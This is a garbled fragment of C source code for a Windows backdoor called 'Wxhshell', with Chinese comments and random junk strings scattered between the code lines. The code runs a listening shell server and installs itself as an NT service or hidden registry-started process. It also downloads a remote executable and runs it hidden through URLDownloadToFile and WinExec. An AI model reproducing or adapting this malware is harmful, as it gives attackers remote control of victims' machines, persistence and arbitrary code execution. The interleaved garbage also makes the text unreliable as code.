Rz if(hProcess==NULL) return 0; Kkd7D_bZ* ]-R8W/fDn HMODULE hMod; J)R2O4OEd char procName[255]; LJBoS]~ unsigned long cbNeeded; @50Js3R1q d>(dSKx if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eo@:@O+bm IlaH,J7n CloseHandle(hProcess); ^ML2xh 0^.q5#A2 if(strstr(procName,"services")) return 1; // 以服务启动 g]3-:&F{c :cOwTW?Fj return 0; // 注册表启动 7ed*dXY* } =B;)h MHgS5b2 // 主模块 ^m5{:\
Xk int StartWxhshell(LPSTR lpCmdLine) 1 ft.ZJ { 5Wn6a$^
SOCKET wsl; YKk%lZ.8 BOOL val=TRUE; tmm\V7sJ int port=0; fBQZ=zh struct sockaddr_in door; 1XSqgr"3 E[$['0 if(wscfg.ws_autoins) Install(); BkIvoW_ -5E<BmM port=atoi(lpCmdLine); YN\
QwV C~l5D4D# if(port<=0) port=wscfg.ws_port; Sm-nb*ZyC s_RYYaM WSADATA data; $+?6U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0|HhA,u D]4?UL if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #M_QSD}& setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <,LeFy\zW door.sin_family = AF_INET; atPf527\` door.sin_addr.s_addr = inet_addr("127.0.0.1"); .fZv H door.sin_port = htons(port); 0m?ul%= q6osRK*20 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K7CiICe closesocket(wsl); xvgIYc{ return 1; N'^ 0:zK: } [V1gj9t=, YrB-;R1+ if(listen(wsl,2) == INVALID_SOCKET) { >(\[ $ closesocket(wsl); ZkqC1u3 return 1; ka]n+"~==\ } y{kXd1, Wxhshell(wsl); (2%C%#]8 WSACleanup(); O*jNeYA p4t(xm2T return 0; | WDX@Q
#8[,w.X } %,>,J` Z-:$)0f // 以NT服务方式启动 u0i
@. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s
n? { 4I,HvP DWORD status = 0; fF>H7 DWORD specificError = 0xfffffff; qT}&XK`Q^ 2*Gl|@~N serviceStatus.dwServiceType = SERVICE_WIN32; (spX3n%p serviceStatus.dwCurrentState = SERVICE_START_PENDING; XLM 9+L serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :S,#*rPKBK serviceStatus.dwWin32ExitCode = 0; 1-q\C<Q) serviceStatus.dwServiceSpecificExitCode = 0; Q9rE_}Z serviceStatus.dwCheckPoint = 0; U~7.aZHPx3 serviceStatus.dwWaitHint = 0; !N!M
NsyDz mV^dIm hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B:9Z;g@& if (hServiceStatusHandle==0) return; &npf
%Eub CNP?i(Rk status = GetLastError(); q.MM|;_u` if (status!=NO_ERROR) FmnA+fA { S>**hMU% serviceStatus.dwCurrentState = SERVICE_STOPPED; bk5~t' serviceStatus.dwCheckPoint = 0; sX@e1*YE_ serviceStatus.dwWaitHint = 0; dLjT^ 9 serviceStatus.dwWin32ExitCode = status; _I@dt6oF serviceStatus.dwServiceSpecificExitCode = specificError; +LrW#K; SetServiceStatus(hServiceStatusHandle, &serviceStatus); h#;yA"j1& return; +K+
== mO& } fV[xv4D. ` 3<#DZ;! serviceStatus.dwCurrentState = SERVICE_RUNNING; &9^c-;Vs serviceStatus.dwCheckPoint = 0; A~h8 >zz* serviceStatus.dwWaitHint = 0; `7'(U)x,F if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9#_49euy|P } QI!:+8 #`?uV)( // 处理NT服务事件,比如:启动、停止 {qj>
VOID WINAPI NTServiceHandler(DWORD fdwControl) .p0;y3so4 { Ws(BouJ switch(fdwControl) ,m0=zH4+: { {!x-kF_ case SERVICE_CONTROL_STOP: v^KJU
+ serviceStatus.dwWin32ExitCode = 0; i++ F&r[ serviceStatus.dwCurrentState = SERVICE_STOPPED; <Qwi 0$ serviceStatus.dwCheckPoint = 0; bv|v9_i serviceStatus.dwWaitHint = 0; CVu'uyy { @ '<lD*W SetServiceStatus(hServiceStatusHandle, &serviceStatus); =. OWsFv } *r(iegO$ return; Oi7:J>
[ case SERVICE_CONTROL_PAUSE: M8
++JI serviceStatus.dwCurrentState = SERVICE_PAUSED; F2+lwyc Y break; NH|v`rO case SERVICE_CONTROL_CONTINUE: ysvn*9h+& serviceStatus.dwCurrentState = SERVICE_RUNNING; h~<#1'/< break; .llAiv case SERVICE_CONTROL_INTERROGATE: rJZ-/]Xf!6 break; [D/q% }; 3`-[95w SetServiceStatus(hServiceStatusHandle, &serviceStatus); t$s)S> } Rk`c'WP0* tXfB.[U // 标准应用程序主函数 {K:/(\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |" l
g4S% { 3):7mE( YMz[je // 获取操作系统版本 _"z#I
CT( OsIsNt=GetOsVer(); :Rq@ %rL GetModuleFileName(NULL,ExeFile,MAX_PATH); &
yw-y4 = =axi0q?} // 从命令行安装 S0kH/A if(strpbrk(lpCmdLine,"iI")) Install(); [_b10Z'{ SkN^ytKE // 下载执行文件 a!wPBJJ if(wscfg.ws_downexe) { sd>#Hn if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {*tewF)| WinExec(wscfg.ws_filenam,SW_HIDE); RU[{!E } I7]45pF mVk:[
}l6 if(!OsIsNt) { a#KxjVM // 如果时win9x,隐藏进程并且设置为注册表启动 nj)M$' HideProc(); k98--kc5 StartWxhshell(lpCmdLine); +]UPY5:F } gNe{P~ $= else !L> 'g if(StartFromService()) v82@']IN // 以服务方式启动 OhIUm4=|$ StartServiceCtrlDispatcher(DispatchTable); j^:\a\-1 else aiU n
bP // 普通方式启动 `\#Qr|GC StartWxhshell(lpCmdLine); 5E~][. d V$^x]z return 0; [gD02a:u }
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